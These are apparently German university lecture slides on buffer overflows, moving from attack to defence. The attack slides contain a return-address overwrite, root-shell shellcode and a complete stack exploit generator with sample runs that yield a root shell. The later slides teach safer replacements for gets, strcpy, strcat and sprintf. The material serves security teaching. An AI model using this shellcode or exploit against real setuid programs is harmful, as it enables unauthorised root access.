65 Pufferüberläufe Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses 1 void geheim ( void ) { 2 printf (" GEHEIM!!!\ n"); 3 exit (0); 4 } 6 void oeffentlich ( char * args ) { 7 char buff [12]; // Buffer 8 memset ( buff, 'B', sizeof ( buff )); // Fuelle Buffer mit B 's 9 strcpy ( buff, args ); // Ziel des Angriffs 10 printf ("\ nbuff : [%s] (%p)(% d)\n\n", buff, buff, sizeof ( buff )); 11 } 13 int main ( int argc, char * argv []) { 14 int uid ; uid = getuid (); 16 if ( uid == 0) // soll nur ausgefuehrt werden, 17 geheim (); // wenn der super - user das Programm startet 19 if ( argc > 1) { 20 printf (" geheim () - >(%p)\ n", geheim ); Adresse von geheim 21 printf (" oeffentlich () - >(% p)\ n", oeffentlich ); und oeffentlich 22 oeffentlich ( argv [1]); 23 } else 24 printf (" Kein Argument!\ n") 25 return 0; 26 } 44 / 85

66 Pufferüberläufe Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Der Aufruf als normaler Benutzer und root ohne Pufferüberlauf führt zu dem erwarteten Ergebnis: $ id uid =500( as) gid =100( users ) $ ret AAA geheim () -> (0 x80483f8 ) Adr. geheim oeffentlich () -> (0 x ) Adr. oeffentlich buff : [ AAA ] (0 xbfffda60 )(12) (Adr. buf), (buf.len) $ su Password : # id uid =0 gid =0 # ret AAA GEHEIM!!! # Die Adresse von geheim ist also 0x80483f8. Wenn wir nun diese Adresse von geheim() als Rücksprungadresse auf den Stack bringen, zuvor noch den Framepointer mit Dummies füllen, müsste die Prozedur geheim ausgeführt werden, auch wenn man nicht Superuser ist, da aus der Funktion oeffentlich nicht zu main, sondern zu geheim gesprungen wird. 45 / 85

67 Pufferüberläufe Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei geheim(){...} oeffentlich(){...} main(){...} main() oeffentlich() 0x80483f8 xf8 x83 x04 x08 B B B B A A A A A A A A A A A A frei geheim(){...} oeffentlich(){...} main(){...} $ id uid =500( as) gid =100( users ) $ ret `perl -e '{ print "A" x12 ; print "B" x12 ; print "\ xf8 \ x83 \ x04 \ x08 ";} '` geheim () -> (0 x80483f8 ) oeffentlich () -> (0 x ) buff : [ AAAAAAAAAAAABBBBø ] (0 xbfffdbf0 )(12) GEHEIM!!! $ Achtung: je nach vorhandener Umgebung sind neben dem Framepointer noch weitere Register gespeichert: entsprechend viel B s verwenden (z.b B x16). 46 / 85

68 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Angriffsmöglichkeiten - Eingeschleuster Programmkode Man kann Pufferüberläufe auch verwenden, um eigenen Programmkode in ein Programm einzuschleusen. Ein Programm, das in der Lage ist, programmfremden Kode zur Ausführung zu bringen, besteht aus zwei Teilen: 1 Der Injektion Vector ist der Programmteil, der den Puffer zum überlaufen bringt und den Programmfluss so manipuliert, dass der Payload ausgeführt wird. 2 Der Payload ist der eingeschleuste, fremde Programmkode. Häufig verwendete Payloads sind: Eintragen von neuen Zeilen in die /etc/passwd mit UID=0 Virus und Snifferkode Öffnen einer Shell mit Root-Berechtigung Im Folgenden beschränken wir uns auf das Öffnen einer Shell; die anderen Payload werden mit ähnlicher Technik erstellt. 47 / 85

69 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Angriffsmöglichkeiten - Eingeschleuster Programmkode Man kann Pufferüberläufe auch verwenden, um eigenen Programmkode in ein Programm einzuschleusen. Ein Programm, das in der Lage ist, programmfremden Kode zur Ausführung zu bringen, besteht aus zwei Teilen: 1 Der Injektion Vector ist der Programmteil, der den Puffer zum überlaufen bringt und den Programmfluss so manipuliert, dass der Payload ausgeführt wird. 2 Der Payload ist der eingeschleuste, fremde Programmkode. Häufig verwendete Payloads sind: Eintragen von neuen Zeilen in die /etc/passwd mit UID=0 Virus und Snifferkode Öffnen einer Shell mit Root-Berechtigung Im Folgenden beschränken wir uns auf das Öffnen einer Shell; die anderen Payload werden mit ähnlicher Technik erstellt. 47 / 85

70 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload soll im Prozessraum des Wirtsprogramms ausgeführt werden. Also muss er in Assemblerkode erstellt und in Hexadezimalnotaion abgelegt werden. Das kann man am einfachsten tun, indem man 1 zunächst ein C-Programm mit dem gewünschten Payload erstellt, 2 dann das C-Programm in Assembler überführt, um 3 letztlich die Hex-Form zu Erzeugen. shell.c 1 # include <stdio.h> 2 int main ( void ) { 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 execve ( name [0], name, NULL ); 7 } Übersetzen und laufen lassen 48 / 85

71 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Das Übersetzen in Assembler (cc -S) führt zu Kode, den man analysieren und anpassen kann: 1 $ gcc -S shell.c 2 $ cat shell.s 3. file " shell.c" 4. section. rodata 5. LC0 : 6. string "/ bin / sh" 7. text 8. globl main 9. type 10 main : 11 pushl % ebp 12 movl %esp, % ebp 13 andl $ -16, % esp 14 subl $32, % esp movl %edx, 4(% esp ) 17 movl %eax, (% esp ) 18 call execve 19 leave 20 ret 21. size main,.- main 22. ident " GCC : ( GNU ) ( Red Hat ) " 23. section. note.gnu - stack,"",@progbits 24 $ 49 / 85

72 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Nach Anpassungen muss der Kode in Hexnotation gebracht werden: 1 char shellcode [] = 2 /* setuid (0) */ 3 "\ x31 \ xc0 " /* xorl %eax,% eax */ 4 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 5 "\ xb0 \ x17 " /* movb $0x17,% al */ 6 "\ xcd \ x80 " /* int $0x80 */ 7 /* Shell oeffnen */ 8 "\ xeb \ x1f " /* jmp 0 x1f */ 9 "\ x5e " /* popl % esi */ 10 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 11 "\ x31 \ xc0 " /* xorl %eax,% eax */ 12 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 13 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 14 "\ xb0 \ x0b " /* movb $0xb,% al */ 15 "\ x89 \ xf3 " /* movl %esi,% ebx */ 16 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 17 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 18 "\ xcd \ x80 " /* int $0x80 */ 19 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 20 "\ x89 \ xd8 " /* movl %ebx,% eax */ 21 "\ x40 " /* inc % eax */ 22 "\ xcd \ x80 " /* int $0x80 */ 23 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 24 "/ bin /sh"; /*. string \"/ bin /sh \" */ Der fremde Kode muss also wie o.a. Beschaffen sein, damit eine Shell damit geöffnet werden kann. 50 / 85

73 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Eine ausführliche Anleitung, wie man aus C-Kode ausführbaren Hex-Kode erzeugen kann ist zu finden unter (Exploit) Aus dem Programm: 1 # include <stdio.h> 2 int main ( void ){ 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 seteuid (0, 0); 7 execve ( name [0], name, NULL ); 8 } wird dadurch Hex-Kode: \ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 der dann in einem C-Programm verwendet werden kann: 51 / 85

74 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Shellcode.c 1 char code []= 2 "\ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 " 3 "\ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff " 4 "\ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 "; 6 int main () { 7 int (* shell )(); 8 shell = code ; 9 shell (); 10 } Rechner 52 / 85

75 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Die Frage bleibt, wo man diesen Shellkode plazieren muss. Es gibt mehrere Möglichkeiten: Kopieren in den Überlaufpuffer (er muss aber gross genug dafür sein) Ablage in Umgebungsvariablen. Das folgende Programm stack exploit2.c verwendet als Ablageort den Überlaufpuffer des befallenen Programms stack bof2.c: 53 / 85

76 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode angegriffenes Programm stack bof2.c stack bof2.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [512]; // Angriffsziel, der Ueberlaufpuffer soll 6 strcpy ( buff, args ); // mit fremdem Kode ueberschrieben werden 7 } 9 int main ( int argc, char * argv []) { 10 if ( argc > 1) { 11 funktion ( argv [1]); 12 } else 13 printf (" Kein Argument!\ n"); 14 return 0; 15 } $ $ stack_bof02 $ Rechner 54 / 85

77 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload ist in folgendem Programm realisiert und benutzt als Injection Vektor den Puffer des angegriffenen Programms (buff). stack exploit2.c 1 # include <stdlib.h> 2 # include <stdio.h> 4 # define DEFAULT_OFFSET 0 5 # define DEFAULT_BUFFER_GR # define NOP 0 x90 8 char shellcode [] = 9 /* setuid (0) */ 10 "\ x31 \ xc0 " /* xorl %eax,% eax */ 11 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 12 "\ xb0 \ x17 " /* movb $0x17,% al */ 13 "\ xcd \ x80 " /* int $0x80 */ 15 /* Shell oeffnen */ 16 "\ xeb \ x1f " /* jmp 0 x1f */ 17 "\ x5e " /* popl % esi */ 18 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 19 "\ x31 \ xc0 " /* xorl %eax,% eax */ 20 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 21 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 22 "\ xb0 \ x0b " /* movb $0xb,% al */ 55 / 85

78 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode 23 "\ x89 \ xf3 " /* movl %esi,% ebx */ 24 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 25 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 26 "\ xcd \ x80 " /* int $0x80 */ 27 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 28 "\ x89 \ xd8 " /* movl %ebx,% eax */ 29 "\ x40 " /* inc % eax */ 30 "\ xcd \ x80 " /* int $0x80 */ 31 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 32 "/ bin /sh"; /*. string \"/ bin /sh \" */ 34 unsigned long 35 GetESP ( void ) { 36 asm (" movl %esp,% eax "); 37 } 39 int main ( int argc, char * argv []) { 40 char *buff, * zgr ; 41 long * adr_zgr, adr ; 42 int offset = DEFAULT_OFFSET, bgr = DEFAULT_BUFFER_GR ; 43 int i; 45 if ( argc > 1) bgr = atoi ( argv [1]); 46 if ( argc > 2) offset = atoi ( argv [2]); 47 if (!( buff = malloc ( bgr ))) { 48 printf (" Fehler bei der Speicherreservierung.\ n"); 49 exit (1); 50 } 56 / 85

79 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode 52 adr = GetESP () - offset ; 53 fprintf ( stderr, " ESP : 0x%x\n", GetESP ()); 54 fprintf ( stderr, " ESP mit Offset : 0x%x\n", adr ); 56 zgr = buff ; 57 adr_zgr = ( long *) zgr ; 58 for (i = 0; i < bgr ; i +=4) 59 *( adr_zgr ++) = adr ; 61 for (i = 0; i < bgr /2; i++) 62 buff [i] = NOP ; 64 zgr = buff + (( bgr /2) - ( strlen ( shellcode )/2)); 65 for (i = 0; i < strlen ( shellcode ); i++) 66 *( zgr ++) = shellcode [i]; 68 buff [ bgr - 1] = '\0 '; 69 printf ("%s", buff ); 71 return 0; 72 } 57 / 85

80 Pufferüberläufe Angriffsmöglichkeiten - Eingeschleuster Programmkode Unter der Annahme, stack bof2 ist ein setuid Root-Programm, kann man eine Root-Shell mittels des folgenden Aufrufs öffnen: $ id uid =500( as) gid =100( users ) $ stack_bof2 ` stack_exploit2 536 ` ESP : 0 xfef998e8 ESP mit Offset : 0 xfef998f8 sh $ sh $ id uid =0 gid =0 sh $ stack exploit2 erzeugt auszuführenden Shellkode, der in buff kopiert wird. Dabei wird Rücksprungadresse so manipuliert, dass der Kode ausgeführt wird. Das Starten des Programms stack buf2 bewirkt das Öffnen einer Root-Shell, obwohl das nie in dem Programm programmiert wurde. 58 / 85

81 Gegenmassnahmen Gegenmassnahmen 1 Einführung 2 Benutzer-Authentifizierung 3 Pufferüberläufe 4 Gegenmassnahmen Überblick Sichere Programmierung Source Code Audits Automatisierte Softwaretests Binary Audits Compilererweiterungen 59 / 85

82 Gegenmassnahmen Überblick Überblick Die (leider) heute gängige Praxis, mit Software-Schwachstellen umzugehen ist: 1 Erstellung von Software ohne besondere Beachtung von sicherheitsrelevanten Aspekten. 2 Verkauf der Software. 3 Eine Schwachstelle wird entdeckt und ein Exploit wird entwickelt (meist durch Hacker). 4 Der Hersteller stellt einen Patch bereit. 5 Ein Bugreport wird in Mailinglisten veröffentlicht, der Systembetreuer auffordert, den Patch einzuspielen. Welche Nachteile hat diese Methode (Ihre Erfahrungen interessieren hier)? 60 / 85

83 Gegenmassnahmen Überblick Besser als im Nachhinein aktiv zu werden ist es, vor dem Verkauf der Software, Schwachstellen zu erkennen: während der Programmentwicklung (sichere Programmierung), durch Audits nach der Programmerstellung, Compilererweiterungen und Prozesserweiterungen. 61 / 85

84 Gegenmassnahmen Sichere Programmierung Sichere Programmierung In der C-Standardbibliothek existieren einige Funktionen, die als risikobehaftet bekannt sind und deshalb nicht verwendet werden sollten. Einige dieser Funktionen werden gezeigt und Alternativen diskutiert. 62 / 85

85 Gegenmassnahmen Sichere Programmierung gets fgets gets dient dazu, einer Zeile von der Standardeingabe einzulesen und in einem Puffer zu speichern. Da man den Puffer zur im Programm anlegen muss, also eine Grösse angeben muss, kann nie verhindert werden, dass mehr eingaben gemacht werden, als der Puffer gross ist. gets.c 1 # include <stdio.h> 2 int main ( void ) { 3 char buff [24]; 4 printf (" Eingabe : "); 5 gets ( buff ); was passiert bei Eingaben > 24? 6 return 0; 7 } 63 / 85

86 Gegenmassnahmen Sichere Programmierung gets fgets 1 int main ( void ) { 2 char buff [24]; 3 printf (" Eingabe : "); 4 gets ( buff ); was passiert bei Eingaben > 24? 5 return 0; 6 } Der Compiler warnt schon vor der Verwendung von gets! $ make gets cc gets.c -o gets / tmp / cculyf47.o(. text +0 x28 ): In function `main ': : warning : the `gets ' function is dangerous and should not be used. $ $ gets Eingabe : AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBB Speicherzugriffsfehler $ Offensichtlich wurde der Puffer buff über seine Grenzen hinweg überschrieben und Verwaltungs- information, wie Framepointer oder Rücksprungadresse mit B s führen zu dem Speicherzugriffsfehler. Also: stets auf gets verzichten! 64 / 85

87 Gegenmassnahmen Sichere Programmierung gets fgets Die Alternative für gets ist die Funktion fgets, beider die Anzahl der von stdin gelesenen Bytes angegeben werden muss: $ man fgets # include <stdio.h> char * fgets ( char *s, int size, FILE * stream ); fgets () liest höchstens size minus ein Zeichen von stream und speichert sie in dem Puffer, auf den s zeigt. Das Lesen stoppt nach einem EOF oder Zeilenvorschub. Wenn ein Zeilenvorschub gelesen wird, wird er in dem Puffer gespeichert. Ein \0 wird nach dem letzten Zeichen im Puffer gespeichert. fgets.c # include <stdio.h> int main ( void ) { char buff [24]; printf (" Eingabe : "); fgets ( buff, 24, stdin ); return 0; } 65 / 85

88 Gegenmassnahmen Sichere Programmierung strcpy strncpy Die Funktion strcpy haben wir bereits als unsichere Bibliotheksfunktion identifiziert. Sie dient dazu, eine Zeichenkette von einem Puffer in einen anderen zu kopieren. Dabei werden keine Überprüfungen der Puffergrenzen vorgenommen. Daher ist diese Funktion der klassische Angriffspunkt für Pufferüberlauf-Attacken. strcpy.c 1 # include <string.h> 2 int main ( int argc, char * argv []) { 3 char buff [24]; 5 if ( argc > 1) 6 strcpy ( buff, argv [1]); 8 return 0; 9 } 66 / 85

89 Gegenmassnahmen Sichere Programmierung strcpy strncpy Als sichere Alternative sollte man strncpy verwenden. BEZEICHNUNG strcpy, strncpy - kopiert eine Zeichenkette ÜBERSICHT # include < string.h> char * strcpy ( char *dest, const char * src ); char * strncpy ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcpy () kopiert die Zeichenkette, auf die der Zeiger src zeigt, inklusive des Endezeichens \0 an die Stelle, auf die dest zeigt. Die Zeicheketten dürfen sich nicht überlappen und dest muß groß genug sein. Die Funktion strncpy () tut dasselbe mit dem Unterschied, daß nur die ersten n Byte von src kopiert werden. Ist kein \0 innerhalb der ersten n Bytes,so wird das Ergebnis nicht durch \0 abgeschlossen. Ist die Länge von src kleiner als n Bytes, so wird dest mit Nullen aufgefüllt. RÜCKGABEWERT Die Funktionen strcpy () und strncpy () geben einen Zeiger auf dest zurück. 67 / 85

90 Gegenmassnahmen Sichere Programmierung strcpy strncpy strncpy.c 1 # include <string.h> 2 # define BUFFER 24 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 strncpy ( buff, argv [1], BUFFER - 1); 8 buff [ BUFFER - 1] = '\0 ';!!! 9 } 11 return 0; 12 } Achtung: Das Ende der Zeichenkette ist stets explizit mit \0 zu terminieren, ansonsten entsteht eine neue Schwachstelle. 68 / 85

91 Gegenmassnahmen Sichere Programmierung strcat strncat Die Funktion strcat ist eine weitere unsichere Bibliotheksfunktion, zu der es eine sichere Alternative gibt, bei der aber auch die Nulltermination zu beachten ist. BEZEICHNUNG strcat, strncat - verbinden zwei Zeichenketten ÜBERSICHT # include < string.h> char * strcat ( char *dest, const char * src ); char * strncat ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcat hängt die Zeichenkette src an die Zeichenkette dest an, wobei das Stringendezeichen \0 überschrieben wird und ein neues \0 am Ende der gesamten Zeichenkette angehängt wird. Die Zeichenket - ten können sich nicht überlappen und dest muß Platz genug für die gesamte Zeichenkette haben. Die Funktion strncat tut dasselbe, wobei allerdings nur die ersten n Buchstaben von src kopiert werden. RÜCKGABEWERT Die Funktionen strcat () und strncat () liefern einen Zeiger auf die gesamte Zeichekette dest zurück. 69 / 85

92 Gegenmassnahmen Sichere Programmierung strcat strncat Im nachfolgenden Beispiel wird mittels strcat an die Zeichenkette Jenni das Kommandozeilen-Argument angehängt: strcat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 4 int main ( int argc, char * argv []) { 5 char buff [ BUFFER ] = " Jenni "; 7 if ( argc > 1) 8 strcat ( buff, argv [1]); 10 printf (" buff : [%s] (%p)\n", buff, buff ); 11 return 0; 12 } $ strcat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfef6b030 ) $ strcat `perl -e '{ print "A" x8}'` buff : [ JenniAAAAAAAA ] (0 xfeee5c90 ) Speicherzugriffsfehler $ 70 / 85

93 Gegenmassnahmen Sichere Programmierung strcat strncat Bei der sicheren Alternative werden nur soviel Zeichen kopiert, dass kein Überlauf statt finden kann: strncat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 5 int main ( int argc, char * argv []) { 6 char buff [ BUFFER ] = " Jenni "; 8 if ( argc > 1) 9 strncat ( buff, argv [1], BUFFER - strlen ( buff ) - 1); 11 printf (" buff : [%s] (%p)\n", buff, buff ); 12 return 0; 13 } $ strncat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfeeece70 ) $ strncat `perl -e '{ print "A" x8}'` buff : [ JenniAA ] (0 xfeecbe90 ) $ 71 / 85

94 Gegenmassnahmen Sichere Programmierung sprintf snprintf Die beiden Bibliotheksfunktionen zur formatierten Ausgabe sind unsicher, da auch sie keine Längenüberprüfung vornehmen. Im folgenden Beispiel wird das Kommandozeilen-Argument in den Puffer buff geschrieben und keine Längenprüfung durchgeführt. sprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) 7 sprintf (buff, " Eingabe : %s", argv [1]); 9 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 10 return 0; 11 } $ sprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAAAAAA ] (0 xfef71e80 )(19) $ sprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAAAAAAAAAAAAAAAA ] (0 xfee91110 )(29) Speicherzugriffsfehler $ 72 / 85

95 Gegenmassnahmen Sichere Programmierung sprintf snprintf Verwenden sollte man stets die sichere Alternative snprintf: snprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 snprintf ( buff, BUFFER, " Eingabe : %s", argv [1]); 8 buff [ BUFFER - 1] = '\0 '; 9 } 10 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 11 return 0; 12 } $ snprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAA ] (0 xfef50c80 )(15) $ snprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAA ] (0 xfef0a790 )(15) $ Achtung: Nicht alle Implementierungen von snprintf terminieren den String mit 0. Deshalb sollte man dies stets explizit tun! 73 / 85